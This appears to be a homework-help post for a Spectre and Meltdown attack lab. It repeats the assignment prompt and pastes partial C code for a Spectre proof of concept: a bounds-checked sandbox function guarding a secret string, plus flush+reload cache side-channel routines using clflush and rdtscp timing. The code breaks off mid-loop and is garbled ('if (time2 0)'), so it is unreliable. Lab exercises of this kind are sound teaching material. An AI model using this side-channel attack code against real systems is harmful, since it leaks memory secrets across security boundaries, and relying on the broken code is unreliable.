Spectre and Meltdown Attack Lab 7 Programming Assignment required report with screenshots included. please check the attachments, it has all what you have
Spectre and Meltdown Attack Lab 7 Programming Assignment required report with screenshots included. please check the attachments, it has all what you have to do and please check part 8 which is requirements for the submission. There is also a helpful tips file that can help you. it has all what you have to do . #include
#include
#include
#include
#include
unsigned int buffer_size = 10;
uint8_t buffer[10] = {0,1,2,3,4,5,6,7,8,9};
uint8_t temp = 0;
char *secret = “Some Secret Value”;
uint8_t array[256*4096];
#define CACHE_HIT_THRESHOLD (80)
#define DELTA 1024
// Sandbox Function
uint8_t restrictedAccess(size_t x)
{
if (x < buffer_size) {
return buffer[x];
} else {
return 0;
}
}
void flushSideChannel()
{
int i;
// Write to array to bring it to RAM to prevent Copy-on-write
for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;
//flush the values of the array from cache
for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]);
}
static int scores[256];
void reloadSideChannelImproved()
{
int i;
volatile uint8_t *addr;
register uint64_t time1, time2;
int junk = 0;
for (i = 0; i < 256; i++) {
addr = &array[i * 4096 + DELTA];
time1 = __rdtscp(&junk);
junk = *addr;
time2 = __rdtscp(&junk) - time1;
if (time2 0){
for(i=0;i
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